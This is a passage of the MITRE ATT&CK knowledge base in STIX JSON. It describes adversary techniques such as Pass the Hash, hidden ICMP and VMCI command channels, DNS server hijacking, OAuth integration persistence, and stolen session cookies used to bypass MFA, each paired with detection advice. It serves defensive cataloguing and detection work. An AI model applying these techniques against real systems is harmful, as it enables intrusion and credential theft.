                },
                {
                    "source_name": "University of Birmingham C2",
                    "description": "Gardiner, J.,  Cova, M., Nagaraja, S. (2014, February). Command & Control Understanding, Denying and Detecting. Retrieved April 20, 2016.",
                    "url": "https://arxiv.org/ftp/arxiv/papers/1408/1408.1136.pdf"
                },
                {
                    "source_name": "Cisco Synful Knock Evolution",
                    "description": "Graham Holmes. (2015, October 8). Evolution of attacks on Cisco IOS devices. Retrieved October 19, 2020.",
                    "url": "https://blogs.cisco.com/security/evolution-of-attacks-on-cisco-ios-devices"
                },
                {
                    "source_name": "Microsoft ICMP",
                    "description": "Microsoft. (n.d.). Internet Control Message Protocol (ICMP) Basics. Retrieved December 1, 2014.",
                    "url": "http://support.microsoft.com/KB/170292"
                },
                {
                    "source_name": "Cisco Blog Legacy Device Attacks",
                    "description": "Omar Santos. (2020, October 19). Attackers Continue to Target Legacy Devices. Retrieved October 20, 2020.",
                    "url": "https://community.cisco.com/t5/security-blogs/attackers-continue-to-target-legacy-devices/ba-p/4169954"
                },
                {
                    "source_name": "Wikipedia OSI",
                    "description": "Wikipedia. (n.d.). List of network protocols (OSI model). Retrieved December 4, 2014.",
                    "url": "http://en.wikipedia.org/wiki/List_of_network_protocols_%28OSI_model%29"
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            "name": "Non-Application Layer Protocol",
            "description": "Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.(Citation: Wikipedia OSI) Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).\n\nICMP communication between hosts is one example.(Citation: Cisco Synful Knock Evolution) Because ICMP is part of the Internet Protocol Suite, it is required to be implemented by all IP-compatible hosts.(Citation: Microsoft ICMP) However, it is not as commonly monitored as other Internet Protocols such as TCP or UDP and may be used by adversaries to hide communications.\n\nIn ESXi environments, adversaries may leverage the Virtual Machine Communication Interface (VMCI) for communication between guest virtual machines and the ESXi host. This traffic is similar to client-server communications on traditional network sockets but is localized to the physical machine running the ESXi host, meaning it does not traverse external networks (routers, switches). This results in communications that are invisible to external monitoring and standard networking tools like tcpdump, netstat, nmap, and Wireshark. By adding a VMCI backdoor to a compromised ESXi host, adversaries may persistently regain access from any guest VM to the compromised ESXi host\u2019s backdoor, regardless of network segmentation or firewall rules in place.(Citation: Google Cloud Threat Intelligence VMWare ESXi Zero-Day 2023)",
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            "x_mitre_detection": "Analyze network traffic for ICMP messages or other protocols that contain abnormal data or are not normally seen within or exiting the network.(Citation: Cisco Blog Legacy Device Attacks)\n\nAnalyze network data for uncommon data flows (e.g., a client sending significantly more data than it receives from a server). Processes utilizing the network that do not normally have network communication or have never been seen before are suspicious. Analyze packet contents to detect communications that do not follow the expected protocol behavior for the port that is being used.(Citation: University of Birmingham C2) \n\nMonitor and investigate API calls to functions associated with enabling and/or utilizing alternative communication channels.",
            "x_mitre_domains": [
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            "x_mitre_is_subtechnique": false,
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_platforms": [
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            "type": "attack-pattern",
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            "created": "2017-05-31T21:30:59.339Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "revoked": true,
            "external_references": [
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                    "url": "https://attack.mitre.org/techniques/T1075",
                    "external_id": "T1075"
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                {
                    "source_name": "capec",
                    "url": "https://capec.mitre.org/data/definitions/644.html",
                    "external_id": "CAPEC-644"
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                {
                    "source_name": "NSA Spotting",
                    "description": "National Security Agency/Central Security Service Information Assurance Directorate. (2015, August 7). Spotting the Adversary with Windows Event Log Monitoring. Retrieved September 6, 2018.",
                    "url": "https://apps.nsa.gov/iaarchive/library/reports/spotting-the-adversary-with-windows-event-log-monitoring.cfm"
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            "name": "Pass the Hash",
            "description": "Pass the hash (PtH) is a method of authenticating as a user without having access to the user's cleartext password. This method bypasses standard authentication steps that require a cleartext password, moving directly into the portion of the authentication that uses the password hash. In this technique, valid password hashes for the account being used are captured using a Credential Access technique. Captured hashes are used with PtH to authenticate as that user. Once authenticated, PtH may be used to perform actions on local or remote systems. \n\nWindows 7 and higher with KB2871997 require valid domain user credentials or RID 500 administrator hashes. (Citation: NSA Spotting)",
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            "x_mitre_contributors": [
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            "id": "attack-pattern--c2e147a9-d1a8-4074-811a-d8789202d916",
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                    "url": "https://attack.mitre.org/techniques/T1027/003",
                    "external_id": "T1027.003"
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                {
                    "source_name": "McAfee Malicious Doc Targets Pyeongchang Olympics",
                    "description": "Saavedra-Morales, J., Sherstobitoff, R. (2018, January 6). Malicious Document Targets Pyeongchang Olympics. Retrieved April 10, 2018.",
                    "url": "https://securingtomorrow.mcafee.com/mcafee-labs/malicious-document-targets-pyeongchang-olympics/"
                },
                {
                    "source_name": "Wikipedia Duqu",
                    "description": "Wikipedia. (2017, December 29). Duqu. Retrieved April 10, 2018.",
                    "url": "https://en.wikipedia.org/wiki/Duqu"
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            "name": "Steganography",
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            "x_mitre_detection": "Detection of steganography is difficult unless artifacts are left behind by the obfuscation process that are detectable with a known signature. Look for strings or other signatures left in system artifacts related to decoding steganography.",
            "x_mitre_domains": [
                "enterprise-attack"
            ],
            "x_mitre_is_subtechnique": true,
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_platforms": [
                "Linux",
                "macOS",
                "Windows"
            ],
            "x_mitre_version": "1.2",
            "x_mitre_data_sources": [
                "File: File Metadata"
            ]
        },
        {
            "type": "attack-pattern",
            "spec_version": "2.1",
            "id": "attack-pattern--c2f59d25-87fe-44aa-8f83-e8e59d077bf5",
            "created": "2020-10-01T00:54:30.869Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "revoked": false,
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/techniques/T1584/002",
                    "external_id": "T1584.002"
                },
                {
                    "source_name": "FireEye DNS Hijack 2019",
                    "description": "Hirani, M., Jones, S., Read, B. (2019, January 10). Global DNS Hijacking Campaign: DNS Record Manipulation at Scale. Retrieved October 9, 2020.",
                    "url": "https://www.fireeye.com/blog/threat-research/2019/01/global-dns-hijacking-campaign-dns-record-manipulation-at-scale.html"
                },
                {
                    "source_name": "Crowdstrike DNS Hijack 2019",
                    "description": "Matt Dahl. (2019, January 25). Widespread DNS Hijacking Activity Targets Multiple Sectors. Retrieved February 14, 2022.",
                    "url": "https://www.crowdstrike.com/blog/widespread-dns-hijacking-activity-targets-multiple-sectors/"
                },
                {
                    "source_name": "Talos DNSpionage Nov 2018",
                    "description": "Mercer, W., Rascagneres, P. (2018, November 27). DNSpionage Campaign Targets Middle East. Retrieved October 9, 2020.",
                    "url": "https://blog.talosintelligence.com/2018/11/dnspionage-campaign-targets-middle-east.html"
                },
                {
                    "source_name": "CiscoAngler",
                    "description": "Nick Biasini. (2015, March 3). Threat Spotlight: Angler Lurking in the Domain Shadows. Retrieved March 6, 2017.",
                    "url": "https://blogs.cisco.com/security/talos/angler-domain-shadowing"
                },
                {
                    "source_name": "Proofpoint Domain Shadowing",
                    "description": "Proofpoint Staff. (2015, December 15). The shadow knows: Malvertising campaigns use domain shadowing to pull in Angler EK. Retrieved October 16, 2020.",
                    "url": "https://www.proofpoint.com/us/threat-insight/post/The-Shadow-Knows"
                }
            ],
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "modified": "2025-04-15T22:13:56.342Z",
            "name": "DNS Server",
            "description": "Adversaries may compromise third-party DNS servers that can be used during targeting. During post-compromise activity, adversaries may utilize DNS traffic for various tasks, including for Command and Control (ex: [Application Layer Protocol](https://attack.mitre.org/techniques/T1071)). Instead of setting up their own DNS servers, adversaries may compromise third-party DNS servers in support of operations.\n\nBy compromising DNS servers, adversaries can alter DNS records. Such control can allow for redirection of an organization's traffic, facilitating Collection and Credential Access efforts for the adversary.(Citation: Talos DNSpionage Nov 2018)(Citation: FireEye DNS Hijack 2019)  Additionally, adversaries may leverage such control in conjunction with [Digital Certificates](https://attack.mitre.org/techniques/T1588/004) to redirect traffic to adversary-controlled infrastructure, mimicking normal trusted network communications.(Citation: FireEye DNS Hijack 2019)(Citation: Crowdstrike DNS Hijack 2019) Adversaries may also be able to silently create subdomains pointed at malicious servers without tipping off the actual owner of the DNS server.(Citation: CiscoAngler)(Citation: Proofpoint Domain Shadowing)",
            "kill_chain_phases": [
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "resource-development"
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            ],
            "x_mitre_attack_spec_version": "3.2.0",
            "x_mitre_contributors": [
                "Jeremy Galloway"
            ],
            "x_mitre_deprecated": false,
            "x_mitre_detection": "Consider monitoring for anomalous resolution changes for domain addresses. Efforts may need to be tailored to specific domains of interest as benign resolution changes are a common occurrence on the internet.\n\nMuch of this activity will take place outside the visibility of the target organization, making detection of this behavior difficult. Detection efforts may be focused on related stages of the adversary lifecycle, such as during Command and Control.",
            "x_mitre_domains": [
                "enterprise-attack"
            ],
            "x_mitre_is_subtechnique": true,
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_platforms": [
                "PRE"
            ],
            "x_mitre_version": "1.2",
            "x_mitre_data_sources": [
                "Domain Name: Active DNS",
                "Domain Name: Passive DNS"
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        },
        {
            "type": "attack-pattern",
            "spec_version": "2.1",
            "id": "attack-pattern--c31aebd6-c9b5-420f-ba2a-5853bbf897fa",
            "created": "2025-03-20T22:21:59.326Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "revoked": false,
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/techniques/T1671",
                    "external_id": "T1671"
                },
                {
                    "source_name": "Wiz Midnight Blizzard 2024",
                    "description": "Lior Sonntag. (2024, February 8). Midnight Blizzard attack on Microsoft corporate environment: a detailed analysis, detections and recommendations. Retrieved March 20, 2025.",
                    "url": "https://www.wiz.io/blog/midnight-blizzard-microsoft-breach-analysis-and-best-practices"
                },
                {
                    "source_name": "Push Security SaaS Persistence 2022",
                    "description": "Luke Jennings. (2022, November 29). Maintaining persistent access in a SaaS-first world. Retrieved March 20, 2025.",
                    "url": "https://pushsecurity.com/blog/maintaining-persistent-access-in-a-saas-first-world/"
                },
                {
                    "source_name": "Push Security Slack Persistence 2023",
                    "description": "Luke Jennings. (2023, October 24). Slack Attack: A phisher's guide to persistence and lateral movement. Retrieved March 20, 2025.",
                    "url": "https://pushsecurity.com/blog/phishing-slack-persistence/"
                },
                {
                    "source_name": "Microsoft Malicious OAuth Applications 2022",
                    "description": "Microsoft Threat Intelligence. (2022, September 22). Malicious OAuth applications abuse cloud email services to spread spam. Retrieved March 20, 2025.",
                    "url": "https://www.microsoft.com/en-us/security/blog/2022/09/22/malicious-OAuth-applications-used-to-compromise-email-servers-and-spread-spam/"
                },
                {
                    "source_name": "Microsoft Entra ID Service Principals",
                    "description": "Microsoft. (2023, December 15). Application and service principal objects in Microsoft Entra ID. Retrieved February 28, 2024.",
                    "url": "https://learn.microsoft.com/en-us/entra/identity-platform/app-objects-and-service-principals?tabs=browser"
                },
                {
                    "source_name": "SaaS Attacks GitHub Evil Twin Integrations",
                    "description": "Push Security. (n.d.). Evil twin integrations. Retrieved March 20, 2025.",
                    "url": "https://github.com/pushsecurity/saas-attacks/blob/main/techniques/evil_twin_integrations/description.md"
                },
                {
                    "source_name": "Huntress Persistence Microsoft 365 Compromise 2024",
                    "description": "Sharon Martin. (2024, November 5). Legitimate Apps as Traitorware for Persistent Microsoft 365 Compromise. Retrieved March 20, 2025.",
                    "url": "https://www.huntress.com/blog/legitimate-apps-as-traitorware-for-persistent-microsoft-365-compromise"
                },
                {
                    "source_name": "Synes Cyber Corner Malicious Azure Application 2023",
                    "description": "syne0. (2023, July 10). Malicious Azure Application PERFECTDATA SOFTWARE and Microsoft 365 Business Email Compromise. Retrieved March 20, 2025.",
                    "url": "https://cybercorner.tech/malicious-azure-application-perfectdata-software-and-office365-business-email-compromise/"
                }
            ],
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "modified": "2025-04-15T19:59:05.283Z",
            "name": "Cloud Application Integration",
            "description": "Adversaries may achieve persistence by leveraging OAuth application integrations in a software-as-a-service environment. Adversaries may create a custom application, add a legitimate application into the environment, or even co-opt an existing integration to achieve malicious ends.(Citation: Push Security SaaS Persistence 2022)(Citation: SaaS Attacks GitHub Evil Twin Integrations)\n\nOAuth is an open standard that allows users to authorize applications to access their information on their behalf. In a SaaS environment such as Microsoft 365 or Google Workspace, users may integrate applications to improve their workflow and achieve tasks.  \n\nLeveraging application integrations may allow adversaries to persist in an environment \u2013 for example, by granting consent to an application from a high-privileged adversary-controlled account in order to maintain access to its data, even in the event of losing access to the account.(Citation: Wiz Midnight Blizzard 2024)(Citation: Microsoft Malicious OAuth Applications 2022)(Citation: Huntress Persistence Microsoft 365 Compromise 2024) In some cases, integrations may remain valid even after the original consenting user account is disabled.(Citation: Push Security Slack Persistence 2023) Application integrations may also allow adversaries to bypass multi-factor authentication requirements through the use of [Application Access Token](https://attack.mitre.org/techniques/T1550/001)s. Finally, they may enable persistent [Automated Exfiltration](https://attack.mitre.org/techniques/T1020) over time.(Citation: Synes Cyber Corner Malicious Azure Application 2023)\n\nCreating or adding a new application may require the adversary to create a dedicated [Cloud Account](https://attack.mitre.org/techniques/T1136/003) for the application and assign it [Additional Cloud Roles](https://attack.mitre.org/techniques/T1098/003) \u2013 for example, in Microsoft 365 environments, an application can only access resources via an associated service principal.(Citation: Microsoft Entra ID Service Principals)  ",
            "kill_chain_phases": [
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "persistence"
                }
            ],
            "x_mitre_attack_spec_version": "3.2.0",
            "x_mitre_deprecated": false,
            "x_mitre_detection": "",
            "x_mitre_domains": [
                "enterprise-attack"
            ],
            "x_mitre_is_subtechnique": false,
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_platforms": [
                "SaaS",
                "Office Suite"
            ],
            "x_mitre_version": "1.0",
            "x_mitre_data_sources": [
                "Active Directory: Active Directory Object Modification",
                "Cloud Service: Cloud Service Modification"
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        },
        {
            "type": "attack-pattern",
            "spec_version": "2.1",
            "id": "attack-pattern--c325b232-d5bc-4dde-a3ec-71f3db9e8adc",
            "created": "2020-03-15T00:40:27.503Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "revoked": false,
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/techniques/T1001/003",
                    "external_id": "T1001.003"
                },
                {
                    "source_name": "Malleable-C2-U42",
                    "description": "Chris Navarrete Durgesh Sangvikar Andrew Guan Yu Fu Yanhui Jia Siddhart Shibiraj. (2022, March 16). Cobalt Strike Analysis and Tutorial: How Malleable C2 Profiles Make Cobalt Strike Difficult to Detect. Retrieved September 24, 2024.",
                    "url": "https://unit42.paloaltonetworks.com/cobalt-strike-malleable-c2-profile/"
                },
                {
                    "source_name": "University of Birmingham C2",
                    "description": "Gardiner, J.,  Cova, M., Nagaraja, S. (2014, February). Command & Control Understanding, Denying and Detecting. Retrieved April 20, 2016.",
                    "url": "https://arxiv.org/ftp/arxiv/papers/1408/1408.1136.pdf"
                },
                {
                    "source_name": "ESET Okrum July 2019",
                    "description": "Hromcova, Z. (2019, July). OKRUM AND KETRICAN: AN OVERVIEW OF RECENT KE3CHANG GROUP ACTIVITY. Retrieved May 6, 2020.",
                    "url": "https://www.welivesecurity.com/wp-content/uploads/2019/07/ESET_Okrum_and_Ketrican.pdf"
                }
            ],
            "object_marking_refs": [
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            ],
            "modified": "2025-04-15T19:59:05.377Z",
            "name": "Protocol or Service Impersonation",
            "description": "Adversaries may impersonate legitimate protocols or web service traffic to disguise command and control activity and thwart analysis efforts. By impersonating legitimate protocols or web services, adversaries can make their command and control traffic blend in with legitimate network traffic.  \n\nAdversaries may impersonate a fake SSL/TLS handshake to make it look like subsequent traffic is SSL/TLS encrypted, potentially interfering with some security tooling, or to make the traffic look like it is related with a trusted entity. \n\nAdversaries may also leverage legitimate protocols to impersonate expected web traffic or trusted services. For example, adversaries may manipulate HTTP headers, URI endpoints, SSL certificates, and transmitted data to disguise C2 communications or mimic legitimate services such as Gmail, Google Drive, and Yahoo Messenger.(Citation: ESET Okrum July 2019)(Citation: Malleable-C2-U42)",
            "kill_chain_phases": [
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "command-and-control"
                }
            ],
            "x_mitre_attack_spec_version": "3.2.0",
            "x_mitre_contributors": [
                "James Emery-Callcott, Emerging Threats Team, Proofpoint"
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            "x_mitre_deprecated": false,
            "x_mitre_detection": "Analyze network data for uncommon data flows (e.g., a client sending significantly more data than it receives from a server). Processes utilizing the network that do not normally have network communication or have never been seen before are suspicious. Analyze packet contents to detect communications that do not follow the expected protocol behavior for the port that is being used.(Citation: University of Birmingham C2)",
            "x_mitre_domains": [
                "enterprise-attack"
            ],
            "x_mitre_is_subtechnique": true,
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_platforms": [
                "Linux",
                "Windows",
                "macOS",
                "ESXi"
            ],
            "x_mitre_version": "2.1",
            "x_mitre_data_sources": [
                "Network Traffic: Network Traffic Content"
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        },
        {
            "type": "attack-pattern",
            "spec_version": "2.1",
            "id": "attack-pattern--c32f7008-9fea-41f7-8366-5eb9b74bd896",
            "created": "2017-05-31T21:30:25.584Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "revoked": false,
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/techniques/T1012",
                    "external_id": "T1012"
                },
                {
                    "source_name": "Wikipedia Windows Registry",
                    "description": "Wikipedia. (n.d.). Windows Registry. Retrieved February 2, 2015.",
                    "url": "https://en.wikipedia.org/wiki/Windows_Registry"
                }
            ],
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "modified": "2025-04-15T22:58:50.612Z",
            "name": "Query Registry",
            "description": "Adversaries may interact with the Windows Registry to gather information about the system, configuration, and installed software.\n\nThe Registry contains a significant amount of information about the operating system, configuration, software, and security.(Citation: Wikipedia Windows Registry) Information can easily be queried using the [Reg](https://attack.mitre.org/software/S0075) utility, though other means to access the Registry exist. Some of the information may help adversaries to further their operation within a network. Adversaries may use the information from [Query Registry](https://attack.mitre.org/techniques/T1012) during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.",
            "kill_chain_phases": [
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "discovery"
                }
            ],
            "x_mitre_attack_spec_version": "3.2.0",
            "x_mitre_deprecated": false,
            "x_mitre_detection": "System and network discovery techniques normally occur throughout an operation as an adversary learns the environment. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as Lateral Movement, based on the information obtained.\n\nInteraction with the Windows Registry may come from the command line using utilities such as [Reg](https://attack.mitre.org/software/S0075) or through running malware that may interact with the Registry through an API. Command-line invocation of utilities used to query the Registry may be detected through process and command-line monitoring. Remote access tools with built-in features may interact directly with the Windows API to gather information. Information may also be acquired through Windows system management tools such as [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047) and [PowerShell](https://attack.mitre.org/techniques/T1059/001).",
            "x_mitre_domains": [
                "enterprise-attack"
            ],
            "x_mitre_is_subtechnique": false,
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_platforms": [
                "Windows"
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            "x_mitre_version": "1.3",
            "x_mitre_data_sources": [
                "Process: OS API Execution",
                "Windows Registry: Windows Registry Key Access",
                "Command: Command Execution",
                "Process: Process Creation"
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        },
        {
            "type": "attack-pattern",
            "spec_version": "2.1",
            "id": "attack-pattern--c3888c54-775d-4b2f-b759-75a2ececcbfd",
            "created": "2017-05-31T21:30:34.523Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "revoked": false,
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/techniques/T1030",
                    "external_id": "T1030"
                },
                {
                    "source_name": "University of Birmingham C2",
                    "description": "Gardiner, J.,  Cova, M., Nagaraja, S. (2014, February). Command & Control Understanding, Denying and Detecting. Retrieved April 20, 2016.",
                    "url": "https://arxiv.org/ftp/arxiv/papers/1408/1408.1136.pdf"
                }
            ],
            "object_marking_refs": [
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            ],
            "modified": "2025-04-15T19:59:05.559Z",
            "name": "Data Transfer Size Limits",
            "description": "An adversary may exfiltrate data in fixed size chunks instead of whole files or limit packet sizes below certain thresholds. This approach may be used to avoid triggering network data transfer threshold alerts.",
            "kill_chain_phases": [
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                    "phase_name": "exfiltration"
                }
            ],
            "x_mitre_attack_spec_version": "3.2.0",
            "x_mitre_deprecated": false,
            "x_mitre_detection": "Analyze network data for uncommon data flows (e.g., a client sending significantly more data than it receives from a server). If a process maintains a long connection during which it consistently sends fixed size data packets or a process opens connections and sends fixed sized data packets at regular intervals, it may be performing an aggregate data transfer. Processes utilizing the network that do not normally have network communication or have never been seen before are suspicious. Analyze packet contents to detect communications that do not follow the expected protocol behavior for the port that is being used. (Citation: University of Birmingham C2)",
            "x_mitre_domains": [
                "enterprise-attack"
            ],
            "x_mitre_is_subtechnique": false,
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_platforms": [
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                "macOS",
                "Windows",
                "ESXi"
            ],
            "x_mitre_version": "1.1",
            "x_mitre_data_sources": [
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                "Network Traffic: Network Traffic Flow"
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        },
        {
            "type": "attack-pattern",
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            "id": "attack-pattern--c3bce4f4-9795-46c6-976e-8676300bbc39",
            "created": "2017-05-31T21:30:33.723Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "revoked": true,
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/techniques/T1028",
                    "external_id": "T1028"
                },
                {
                    "source_name": "capec",
                    "url": "https://capec.mitre.org/data/definitions/555.html",
                    "external_id": "CAPEC-555"
                },
                {
                    "source_name": "Microsoft WinRM",
                    "description": "Microsoft. (n.d.). Windows Remote Management. Retrieved November 12, 2014.",
                    "url": "http://msdn.microsoft.com/en-us/library/aa384426"
                },
                {
                    "source_name": "Jacobsen 2014",
                    "description": "Jacobsen, K. (2014, May 16). Lateral Movement with PowerShell&#91;slides&#93;. Retrieved November 12, 2014.",
                    "url": "https://www.slideshare.net/kieranjacobsen/lateral-movement-with-power-shell-2"
                },
                {
                    "source_name": "Medium Detecting Lateral Movement",
                    "description": "French, D. (2018, September 30). Detecting Lateral Movement Using Sysmon and Splunk. Retrieved October 11, 2019.",
                    "url": "https://medium.com/threatpunter/detecting-lateral-movement-using-sysmon-and-splunk-318d3be141bc"
                }
            ],
            "object_marking_refs": [
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            ],
            "modified": "2025-04-25T15:16:07.449Z",
            "name": "Windows Remote Management",
            "description": "Windows Remote Management (WinRM) is the name of both a Windows service and a protocol that allows a user to interact with a remote system (e.g., run an executable, modify the Registry, modify services). (Citation: Microsoft WinRM) It may be called with the <code>winrm</code> command or by any number of programs such as PowerShell. (Citation: Jacobsen 2014)",
            "kill_chain_phases": [
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "execution"
                },
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "lateral-movement"
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            ],
            "x_mitre_attack_spec_version": "3.2.0",
            "x_mitre_deprecated": false,
            "x_mitre_detection": "Monitor use of WinRM within an environment by tracking service execution. If it is not normally used or is disabled, then this may be an indicator of suspicious behavior. Monitor processes created and actions taken by the WinRM process or a WinRM invoked script to correlate it with other related events. (Citation: Medium Detecting Lateral Movement)",
            "x_mitre_domains": [
                "enterprise-attack"
            ],
            "x_mitre_is_subtechnique": false,
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_platforms": [
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            ],
            "x_mitre_version": "1.2"
        },
        {
            "type": "attack-pattern",
            "spec_version": "2.1",
            "id": "attack-pattern--c3c8c916-2f3c-4e71-94b2-240bdfc996f0",
            "created": "2020-01-30T17:48:49.395Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "revoked": false,
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/techniques/T1550/004",
                    "external_id": "T1550.004"
                },
                {
                    "source_name": "Unit 42 Mac Crypto Cookies January 2019",
                    "description": "Chen, Y., Hu, W., Xu, Z., et. al. (2019, January 31). Mac Malware Steals Cryptocurrency Exchanges\u2019 Cookies. Retrieved October 14, 2019.",
                    "url": "https://unit42.paloaltonetworks.com/mac-malware-steals-cryptocurrency-exchanges-cookies/"
                },
                {
                    "source_name": "Pass The Cookie",
                    "description": "Rehberger, J. (2018, December). Pivot to the Cloud using Pass the Cookie. Retrieved April 5, 2019.",
                    "url": "https://wunderwuzzi23.github.io/blog/passthecookie.html"
                }
            ],
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "modified": "2025-04-15T19:59:05.730Z",
            "name": "Web Session Cookie",
            "description": "Adversaries can use stolen session cookies to authenticate to web applications and services. This technique bypasses some multi-factor authentication protocols since the session is already authenticated.(Citation: Pass The Cookie)\n\nAuthentication cookies are commonly used in web applications, including cloud-based services, after a user has authenticated to the service so credentials are not passed and re-authentication does not need to occur as frequently. Cookies are often valid for an extended period of time, even if the web application is not actively used. After the cookie is obtained through [Steal Web Session Cookie](https://attack.mitre.org/techniques/T1539) or [Web Cookies](https://attack.mitre.org/techniques/T1606/001), the adversary may then import the cookie into a browser they control and is then able to use the site or application as the user for as long as the session cookie is active. Once logged into the site, an adversary can access sensitive information, read email, or perform actions that the victim account has permissions to perform.\n\nThere have been examples of malware targeting session cookies to bypass multi-factor authentication systems.(Citation: Unit 42 Mac Crypto Cookies January 2019)",
            "kill_chain_phases": [
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "defense-evasion"
                },
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "lateral-movement"
                }
            ],
            "x_mitre_attack_spec_version": "3.2.0",
            "x_mitre_contributors": [
                "Johann Rehberger",
                "Jack Burns, HubSpot"
            ],
            "x_mitre_deprecated": false,
            "x_mitre_detection": "Monitor for anomalous access of websites and cloud-based applications by the same user in different locations or by different systems that do not match expected configurations.",
            "x_mitre_domains": [
                "enterprise-attack"
            ],
            "x_mitre_is_subtechnique": true,
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_platforms": [
                "SaaS",
                "IaaS",
                "Office Suite"
            ],
            "x_mitre_version": "1.5",
            "x_mitre_data_sources": [
                "Application Log: Application Log Content",
                "Web Credential: Web Credential Usage"
            ]
        },
        {
            "type": "attack-pattern",
            "spec_version": "2.1",
            "id": "attack-pattern--c3d4bdd9-2cfe-4a80-9d0c-07a29ecdce8f",
            "created": "2020-03-13T20:21:54.758Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "revoked": false,
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/techniques/T1078/002",
                    "external_id": "T1078.002"
                },
                {
                    "source_name": "TechNet Credential Theft",
                    "description": "Microsoft. (2016, April 15). Attractive Accounts for Credential Theft. Retrieved June 3, 2016.",
                    "url": "https://technet.microsoft.com/en-us/library/dn535501.aspx"
                },
                {
                    "source_name": "TechNet Audit Policy",
                    "description": "Microsoft. (2016, April 15). Audit Policy Recommendations. Retrieved June 3, 2016.",
                    "url": "https://technet.microsoft.com/en-us/library/dn487457.aspx"
                },
                {
                    "source_name": "Microsoft AD Accounts",
                    "description": "Microsoft. (2019, August 23). Active Directory Accounts. Retrieved March 13, 2020.",
                    "url": "https://docs.microsoft.com/en-us/windows/security/identity-protection/access-control/active-directory-accounts"
                },
                {
                    "source_name": "Ubuntu SSSD Docs",
                    "description": "Ubuntu. (n.d.). SSSD. Retrieved September 23, 2021.",
                    "url": "https://ubuntu.com/server/docs/service-sssd"
                }
            ],
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "modified": "2025-04-16T20:37:20.358Z",
            "name": "Domain Accounts",
            "description": "Adversaries may obtain and abuse credentials of a domain account as a means of gaining Initial Access, Persistence, Privilege Escalation, or Defense Evasion.(Citation: TechNet Credential Theft) Domain accounts are those managed by Active Directory Domain Services where access and permissions are configured across systems and services that are part of that domain. Domain accounts can cover users, administrators, and services.(Citation: Microsoft AD Accounts)\n\nAdversaries may compromise domain accounts, some with a high level of privileges, through various means such as [OS Credential Dumping](https://attack.mitre.org/techniques/T1003) or password reuse, allowing access to privileged resources of the domain.",
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                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "defense-evasion"
                },
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "persistence"
                },
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "privilege-escalation"
                },
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "initial-access"
                }
            ],
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            "x_mitre_contributors": [
                "Jon Sternstein, Stern Security"
            ],
            "x_mitre_deprecated": false,
